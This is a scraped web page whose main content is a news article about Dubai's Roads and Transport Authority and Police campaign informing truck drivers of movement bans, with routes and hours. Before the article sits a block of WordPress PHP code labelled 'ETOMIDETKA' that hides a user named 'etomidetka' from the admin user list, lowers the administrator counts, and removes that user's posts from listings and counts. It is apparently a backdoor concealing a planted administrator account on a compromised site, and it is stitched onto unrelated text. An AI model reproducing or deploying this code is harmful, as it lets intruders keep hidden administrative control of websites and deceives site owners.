//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Dubai Launches Awareness Campaign on Truck Movement Ban
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Dubai Launches Awareness Campaign on Truck Movement Ban

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Dubai Launches Awareness Campaign on Truck Movement Ban

Dubai Launches Awareness Campaign on Truck Movement Ban. Dubai has taken a proactive step to enhance road safety and ease traffic congestion by launching an awareness campaign focused on the truck movement ban within the city. The initiative, spearheaded by the Roads and Transport Authority (RTA) in collaboration with Dubai Police, aims to educate heavy vehicle and truck drivers about the restrictions, their timings, and the importance of compliance for safer and smoother traffic management.

Key Highlights of the Truck Movement Ban

Starting January 1, a truck movement ban was enforced on Emirates Road, specifically on the stretch between Al Awir and Sharjah, during evening peak hours from 5:30 PM to 8:00 PM. This restriction is part of Dubai’s broader efforts to reduce congestion and ensure road safety during busy hours.

The campaign emphasizes the following:

  • Evening peak-hour restrictions on Emirates Road, especially for trucks traveling from Dubai to Sharjah.
  • Prohibited truck movements on major streets, including Al Ittihad Street, Al Meydan Street, and key residential areas near Sharjah such as Al Mizhar, Al Muhaisnah, and Oud Al Muteena, from 6:00 AM to 10:00 PM (16-hour daily restriction).
  • Timed restrictions in urban areas like Airport Street, Oman Street, and Damascus Street during peak hours: 6:30 AM – 8:30 AM, 1:00 PM – 3:00 PM, and 5:30 PM – 8:00 PM.

Field Awareness Campaigns: Engaging Truck Drivers Directly

The RTA and Dubai Police have implemented field awareness campaigns to ensure that truck and heavy vehicle drivers are fully informed about the restrictions and their importance. These campaigns were conducted at truck rest stops along Emirates Road and Sheikh Mohammed bin Zayed Road and included:

  • Distribution of informational brochures via QR codes in Arabic, English, and Urdu. These brochures outlined detailed timings and included maps clearly marking restricted routes and hours.
  • Giveaway items to encourage participation and enhance outreach.
  • Focused training sessions on mobility safety, traffic awareness, and road safety for heavy vehicles.

During these campaigns, over 1,000 truck drivers were engaged, receiving crucial insights on adhering to safety and security standards while operating on Dubai roads.

Goals of the Campaign
The primary objectives of the campaign include:

  • Enhancing Mobility Safety: Ensuring that truck movements do not interfere with peak-hour traffic flow, thereby reducing congestion and the risk of accidents.
  • Promoting Traffic Awareness: Educating drivers about the importance of compliance with truck movement restrictions and road regulations.
  • Improving Road Safety: Encouraging adherence to safety standards to minimize incidents involving heavy vehicles.

Tailored Truck Movement Restrictions Across Dubai

Truck movement restrictions in Dubai are carefully designed to suit the specific traffic conditions and road characteristics of each area. These restrictions are adjusted based on engineering and technical studies that evaluate:

  • Vehicle density: Ensuring that alternative routes can handle the redirected traffic.
  • Traffic incident statistics: Addressing accident-prone areas with stricter controls.
  • Urban development: Modifying restrictions based on new infrastructure and urban expansions.

Conclusion

Dubai truck movement ban and awareness campaign reflect the city commitment to maintaining road safety and efficient traffic flow. By combining targeted restrictions with comprehensive education for drivers, the RTA and Dubai Police are fostering a culture of responsibility and compliance. These efforts not only enhance mobility but also ensure that the city’s roads are safer for all users.

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